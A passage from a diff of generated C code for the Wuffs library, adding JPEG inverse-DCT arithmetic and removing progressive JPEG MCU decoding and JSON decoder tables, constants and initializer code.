v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-// -------- func jpeg.decoder.decode_mcu_progressive_dc_low_bit +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint16_t v_one_lshift_scan_al = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- v_one_lshift_scan_al = (((uint16_t)(1u)) << self->private_impl.f_scan_al); +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- do { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- if ((v_bits >> 63u) != 0u) { +- self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] |= v_one_lshift_scan_al; +- } +- v_bits <<= 1u; +- v_n_bits -= 1u; +- } while (0); +- self->private_impl.f_mcu_current_block += 1u; +- } +- self->private_impl.f_mcu_current_block = 0u; +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; ++ if (0u == (v_intermediate[9u] | ++ v_intermediate[10u] | ++ v_intermediate[11u] | ++ v_intermediate[12u] | ++ v_intermediate[13u] | ++ v_intermediate[14u] | ++ v_intermediate[15u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_json__error__bad_c0_control_code[] = "#json: bad C0 control code"; +-const char wuffs_json__error__bad_utf_8[] = "#json: bad UTF-8"; +-const char wuffs_json__error__bad_backslash_escape[] = "#json: bad backslash-escape"; +-const char wuffs_json__error__bad_input[] = "#json: bad input"; +-const char wuffs_json__error__bad_new_line_in_a_string[] = "#json: bad new-line in a string"; +-const char wuffs_json__error__bad_quirk_combination[] = "#json: bad quirk combination"; +-const char wuffs_json__error__unsupported_number_length[] = "#json: unsupported number length"; +-const char wuffs_json__error__unsupported_recursion_depth[] = "#json: unsupported recursion depth"; +-const char wuffs_json__error__internal_error_inconsistent_i_o[] = "#json: internal error: inconsistent I/O"; +- +-// ---------------- Private Consts +- +-#define WUFFS_JSON__DECODER_NUMBER_LENGTH_MAX_INCL 99 +- +-static const uint8_t +-WUFFS_JSON__LUT_BACKSLASHES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 3, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 162, 0, 0, 0, 0, 5, +- 0, 0, 0, 0, 0, 0, 0, 175, +- 7, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 4, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 220, 0, 0, 0, +- 0, 1, 136, 0, 0, 2, 140, 0, +- 0, 0, 0, 0, 0, 0, 138, 0, +- 0, 0, 141, 0, 137, 0, 6, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 1, 3, 4, 5, 6, 7, 10, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 7, 27, 10, 63, 39, 11, 0, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_CHARS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 128, 129, 130, 131, 132, 133, 134, 135, +- 136, 137, 138, 139, 140, 141, 142, 143, +- 144, 145, 146, 147, 148, 149, 150, 151, +- 152, 153, 154, 155, 156, 157, 158, 159, +- 0, 0, 1, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 2, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 32, 32, 3, 3, 3, 3, 3, 3, +- 3, 3, 3, 3, 3, 3, 3, 3, +- 3, 3, 3, 3, 3, 3, 3, 3, +- 3, 3, 3, 3, 3, 3, 3, 3, +- 4, 4, 4, 4, 4, 4, 4, 4, +- 4, 4, 4, 4, 4, 4, 4, 4, +- 5, 5, 5, 5, 5, 32, 32, 32, +- 32, 32, 32, 32, 32, 32, 32, 32, +-}; +- +-#define WUFFS_JSON__CLASS_WHITESPACE 0 +- +-#define WUFFS_JSON__CLASS_STRING 1 +- +-#define WUFFS_JSON__CLASS_COMMA 2 +- +-#define WUFFS_JSON__CLASS_COLON 3 +- +-#define WUFFS_JSON__CLASS_NUMBER 4 +- +-#define WUFFS_JSON__CLASS_OPEN_CURLY_BRACE 5 +- +-#define WUFFS_JSON__CLASS_CLOSE_CURLY_BRACE 6 +- +-#define WUFFS_JSON__CLASS_OPEN_SQUARE_BRACKET 7 +- +-#define WUFFS_JSON__CLASS_CLOSE_SQUARE_BRACKET 8 +- +-#define WUFFS_JSON__CLASS_FALSE 9 +- +-#define WUFFS_JSON__CLASS_TRUE 10 +- +-#define WUFFS_JSON__CLASS_NULL_NAN_INF 11 +- +-#define WUFFS_JSON__CLASS_COMMENT 12 +- +-#define WUFFS_JSON__EXPECT_VALUE 7858 +- +-#define WUFFS_JSON__EXPECT_NON_STRING_VALUE 7856 +- +-#define WUFFS_JSON__EXPECT_STRING 4098 +- +-#define WUFFS_JSON__EXPECT_COMMA 4100 +- +-#define WUFFS_JSON__EXPECT_COLON 4104 +- +-#define WUFFS_JSON__EXPECT_NUMBER 4112 +- +-#define WUFFS_JSON__EXPECT_CLOSE_CURLY_BRACE 4160 +- +-#define WUFFS_JSON__EXPECT_CLOSE_SQUARE_BRACKET 4352 +- +-static const uint8_t +-WUFFS_JSON__LUT_CLASSES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 0, 0, 15, 15, 0, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 0, 15, 1, 15, 15, 15, 15, 15, +- 15, 15, 15, 11, 2, 4, 15, 12, +- 4, 4, 4, 4, 4, 4, 4, 4, +- 4, 4, 3, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 11, 15, 15, 15, 15, 11, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 7, 15, 8, 15, 15, +- 15, 15, 15, 15, 15, 15, 9, 15, +- 15, 11, 15, 15, 15, 15, 11, 15, +- 15, 15, 15, 15, 10, 15, 15, 15, +- 15, 15, 15, 5, 15, 6, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_DECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 128, 129, 130, 131, 132, 133, 134, 135, +- 136, 137, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 128, 129, 130, 131, 132, 133, 134, 135, +- 136, 137, 0, 0, 0, 0, 0, 0, +- 0, 138, 139, 140, 141, 142, 143, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 138, 139, 140, 141, 142, 143, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +-}; +- +-#define WUFFS_JSON__QUIRKS_BASE 1225364480 +- +-#define WUFFS_JSON__QUIRKS_COUNT 21 +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_json__decoder__decode_number( +- wuffs_json__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_json__decoder__decode_digits( +- wuffs_json__decoder* self, +- wuffs_base__io_buffer* a_src, +- uint32_t a_n); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_leading( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_comment( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_inf_nan( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_trailer( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-// ---------------- VTables +- +-const wuffs_base__token_decoder__func_ptrs +-wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__token_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_json__decoder__decode_tokens), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_json__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_json__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_json__decoder__set_quirk), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_json__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_json__decoder__initialize( +- wuffs_json__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[8u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[10u]; ++ v_in6 = v_intermediate[14u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[8u]; ++ v_in4 = v_intermediate[12u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[9u]; ++ v_in3 = v_intermediate[11u]; ++ v_in5 = v_intermediate[13u]; ++ v_in7 = v_intermediate[15u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ if (0u == (v_intermediate[17u] | ++ v_intermediate[18u] | ++ v_intermediate[19u] | ++ v_intermediate[20u] | ++ v_intermediate[21u] | ++ v_intermediate[22u] | ++ v_intermediate[23u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[16u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ v_in2 = v_intermediate[18u]; ++ v_in6 = v_intermediate[22u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[16u]; ++ v_in4 = v_intermediate[20u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[17u]; ++ v_in3 = v_intermediate[19u]; ++ v_in5 = v_intermediate[21u]; ++ v_in7 = v_intermediate[23u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += 